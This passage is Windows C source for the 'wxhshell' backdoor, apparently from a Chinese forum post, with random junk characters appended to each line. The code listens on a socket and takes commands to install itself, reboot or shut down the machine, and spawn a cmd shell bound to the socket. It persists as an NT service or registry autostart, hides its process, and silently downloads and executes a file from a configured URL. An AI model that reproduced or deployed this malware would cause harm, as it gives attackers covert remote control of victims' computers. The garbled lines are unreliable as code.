  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?DNeL;6  
  } oOQ0f |MGp  
  else { |l?*' =  
gvP.\,U  
    switch(cmd[0]) { PC!X<C8*  
  C$v !emu  
  // 帮助 o 7&q  
  case '?': { f_QZ ql  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HNfd[#gV  
    break; J'lqHf$T  
  } HuD~(CI.  
  // 安装 *NI hYg6  
  case 'i': { 5*$z4O:Aa  
    if(Install()) [{+ZQd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Z_f/@b  
    else ADA*w 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oR<;Tr~{q  
    break; -$D#u  
    } l W Lj==  
  // 卸载 v(jZ[{x@  
  case 'r': { @Z9>E+udQ  
    if(Uninstall()) }iB>3|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  <>=abgg  
    else twPD'X!r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TiI3<.a!  
    break; .ldBl  
    } piPV&ytI  
  // 显示 wxhshell 所在路径 Jqt|' G3  
  case 'p': { 8.' THLI  
    char svExeFile[MAX_PATH]; v%Su#xq/  
    strcpy(svExeFile,"\n\r"); NbhQ-  
      strcat(svExeFile,ExeFile); _qS4Ns/4s  
        send(wsh,svExeFile,strlen(svExeFile),0); .OF2O}  
    break; X.ZY1vO  
    } ,aSK L1  
  // 重启 sRGIHT#  
  case 'b': { V"sm+0J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QPsvc6ds  
    if(Boot(REBOOT)) k=5v J72U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$U eks  
    else { +r__>V,  
    closesocket(wsh); 5cC)&}I  
    ExitThread(0); %0eVm   
    } dxWG+S  
    break; 8d\/  
    } Oj.xJ(uX+v  
  // 关机 TbhsOf!  
  case 'd': { to'O;f">n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D?? \H\  
    if(Boot(SHUTDOWN)) CK} _xq2b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;8<lgZ9H<  
    else { Kdd5ysTQ  
    closesocket(wsh); #TY[\$BHs  
    ExitThread(0); d0 yZ9-t  
    } %@[ ~s,6<  
    break; CLY>M`%?+p  
    } ]=0$-ImQ@x  
  // 获取shell NE!]  
  case 's': { -gLU>I7wV  
    CmdShell(wsh); n'Z5rXg  
    closesocket(wsh); -- |L?-2k,  
    ExitThread(0); u]QG^1.qYe  
    break; JztSP?  
  } T#R*]  
  // 退出 4B=@<( H  
  case 'x': { Vb8{OD3PK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :.NCS`z_  
    CloseIt(wsh); hc5iIJ]  
    break; AU H_~SY  
    } H-Or  
  // 离开 YU%U  
  case 'q': { L)/^%/!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Saw}agE[%  
    closesocket(wsh); [%BWCd8Q~P  
    WSACleanup(); e5.sqft  
    exit(1); FKu^{'Y6E0  
    break; /hbdQm  
        } Ng<oz*>U  
  } H}&4#CQ'!  
  } 6ALUd^  
AG<TY<nqL  
  // 提示信息 W!WeYV}kb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1jQlwT(:  
} eWAgYe2  
  } 's6hCs&|NV  
GxcW^{;  
  return; ZuQ\Pyx  
} 5Lm<3:7Q+  
3r,^is  
// shell模块句柄 @ Yzj  
int CmdShell(SOCKET sock) 91j.%#[v'  
{ e't1.%w  
STARTUPINFO si; .2:S0=xt<  
ZeroMemory(&si,sizeof(si)); Z?tw#n[T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F6 c1YI[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  8&KqrA86  
PROCESS_INFORMATION ProcessInfo; 8 n)3'ok  
char cmdline[]="cmd"; pj9s=}1 '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,O ]AB  
  return 0; /2e,,)4g  
} 9Kd:7@U  
*%`jcF  
// 自身启动模式 Hs6}~d  
int StartFromService(void) B#;0{  
{ joJ:* oL  
typedef struct 7F D.3/  
{ p*S;4+>#  
  DWORD ExitStatus; Z:s:NvFX  
  DWORD PebBaseAddress; Pi:=0,"XOp  
  DWORD AffinityMask; xSoXf0zq:  
  DWORD BasePriority; `tZ`a  
  ULONG UniqueProcessId; 0ud>oh4WPR  
  ULONG InheritedFromUniqueProcessId; H@hHEzO  
}   PROCESS_BASIC_INFORMATION; Qp]-4%^Vz  
1brKs-z  
PROCNTQSIP NtQueryInformationProcess; ZRo-=/1  
2k3yf_N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1*J#:|({(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `d i/nv)  
BY^5z<^.  
  HANDLE             hProcess; O/2Jz  
  PROCESS_BASIC_INFORMATION pbi; i7(\i2_P  
vAp?Zl?g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -$m?ShDd  
  if(NULL == hInst ) return 0; ^L;k  
Q.Ljz Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i@ XFnt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CHRO9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KdB9Q ;  
|;6l1]hk6  
  if (!NtQueryInformationProcess) return 0; '=eE6=m^K  
=c(3EI'w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [e+$jsPl  
  if(!hProcess) return 0; +4%: q~C  
vs~lyM/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r 2L=gI  
D1VM_O  
  CloseHandle(hProcess); p~w|St 7jg  
*=ymK*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r@m2foaO  
if(hProcess==NULL) return 0; 2r|!:^'?W  
wk"zpI7L  
HMODULE hMod; ] /{987  
char procName[255]; hu+% X.F4  
unsigned long cbNeeded; lm;G8IP`  
~ U,a?LR/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  kwd)5J  
h*GU7<F:a  
  CloseHandle(hProcess); Z'I0e9Jw  
!p~K;p,  
if(strstr(procName,"services")) return 1; // 以服务启动 L7lRh=D  
XUyoZl?  
  return 0; // 注册表启动 a \PvRW*I  
} M:Aik&  
JKsdPW<?  
// 主模块 d4#Ra%   
int StartWxhshell(LPSTR lpCmdLine) +2+wNFU  
{ .4NQ2k1io  
  SOCKET wsl; op%?V :  
BOOL val=TRUE; (\6R"2  
  int port=0; dnP3{!"b  
  struct sockaddr_in door; on q~wEr  
g$f ;  
  if(wscfg.ws_autoins) Install(); 8>|@O<2\  
= 5 E:CP  
port=atoi(lpCmdLine); 8/y~3~A{D  
}w)`)N  
if(port<=0) port=wscfg.ws_port; U 0M>A  
'Na/AcRdg  
  WSADATA data; .{|AHW&0<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !cWnQRIt_F  
j>0~"A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9#;UQ.qA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ay Obaa5  
  door.sin_family = AF_INET; 3[jk}2R';p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^:RDu q  
  door.sin_port = htons(port); Nh[{B{k  
Uieg4Iro  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UT9=S21  
closesocket(wsl); j;k(AM<  
return 1; 92k}ON  
} -~HlME *~f  
[[[QBplJ  
  if(listen(wsl,2) == INVALID_SOCKET) { c[Mz#BWG  
closesocket(wsl); (Rc 0l;  
return 1; U "qO&;m  
} -0) So  
  Wxhshell(wsl); ~"*;lT5KX  
  WSACleanup(); B43o_H|s  
r]=3aebR.  
return 0; j{nkus2  
Vo%UiVHy  
} cg,_nG]i  
e<p_u)m  
// 以NT服务方式启动 B9_0 Yq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [\ JZpF  
{ _]=`F l  
DWORD   status = 0; i`g>Y5   
  DWORD   specificError = 0xfffffff; N[$(y} !s  
T_}\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vR?L/G^.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z6b3gV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X |f'e@  
  serviceStatus.dwWin32ExitCode     = 0; .~5cNu'#m  
  serviceStatus.dwServiceSpecificExitCode = 0; K6 ,5C0  
  serviceStatus.dwCheckPoint       = 0; Mdh(Mp(w  
  serviceStatus.dwWaitHint       = 0; 7#,+Q(2  
(WW,]#^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "gCSbMq(Vq  
  if (hServiceStatusHandle==0) return; B(MO!GNg=  
|7zm!^t$  
status = GetLastError(); ]sjOn?YA+  
  if (status!=NO_ERROR) 2="C6 7TK  
{ 'FBvAk6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J<_&f_K0]  
    serviceStatus.dwCheckPoint       = 0; l!ye\  
    serviceStatus.dwWaitHint       = 0; aAko-,URC  
    serviceStatus.dwWin32ExitCode     = status; rr4yJ;qpeP  
    serviceStatus.dwServiceSpecificExitCode = specificError; p Nu13o~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %a/O7s6  
    return; ,Z%!38gGsu  
  } [,5clR=F  
-X4`,0y%{O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _<.R\rX&  
  serviceStatus.dwCheckPoint       = 0; q<JI!n1O  
  serviceStatus.dwWaitHint       = 0; y|KDh'Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^ d"tymDd  
} (6\A"jey\x  
,ASY &J5)7  
// 处理NT服务事件,比如:启动、停止 $^7 &bQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cQPH le2  
{ T6H"ER$  
switch(fdwControl) iA ZtV'VQ)  
{ vfhip"1  
case SERVICE_CONTROL_STOP: Qb# S)[6s+  
  serviceStatus.dwWin32ExitCode = 0; VH*j3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @F7QQs3  
  serviceStatus.dwCheckPoint   = 0; c2"eq2'BS  
  serviceStatus.dwWaitHint     = 0; ==(M vu`  
  { `p^M\!h*O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qrX6FI  
  } '~ ]b;nA  
  return; l!iB -?'u  
case SERVICE_CONTROL_PAUSE: kd\yHI9A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mdwh-Cis/  
  break; !s)2H/KM8  
case SERVICE_CONTROL_CONTINUE: $ ]81s`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; & 8&WY1cU  
  break; *pasI.2s#  
case SERVICE_CONTROL_INTERROGATE: N=+Up\h  
  break; 1*-58N*  
}; n6o}$]H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71/6=aq>n  
} <E\BKC%M  
sZ4H\  
// 标准应用程序主函数 tOko %vY8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <1jiU%!w  
{ 2N,*S   
G8oQSo;D  
// 获取操作系统版本 \+Cp<Hv+  
OsIsNt=GetOsVer(); xD lC]loi7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :,VyOmf  
K->p&6s  
  // 从命令行安装 hcaH   
  if(strpbrk(lpCmdLine,"iI")) Install(); %)aDh }  
E 0oJ|My  
  // 下载执行文件 ^$#Q_Y|  
if(wscfg.ws_downexe) { ac&tpvij  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2=3iA09px  
  WinExec(wscfg.ws_filenam,SW_HIDE); L:^'cl} G  
} 5!cplx=<  
2dI:],7  
if(!OsIsNt) { L,kF]  
// 如果时win9x,隐藏进程并且设置为注册表启动 sU}e78mh  
HideProc(); \R#XSW,  
StartWxhshell(lpCmdLine); q5RLIstQ\  
} mA>Pr<aV:  
else Sdt @"6  
  if(StartFromService()) ,vhR99g{  
  // 以服务方式启动 gVl#pVO`N  
  StartServiceCtrlDispatcher(DispatchTable); h'jnc.  
else a,tP.Xsl  
  // 普通方式启动 j/Kw-h ,5"  
  StartWxhshell(lpCmdLine); Kc{wv/6}T  
T@S+5(  
return 0; ]jYl:41yI  
}
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只看该作者 1 发表于: 2006-10-10
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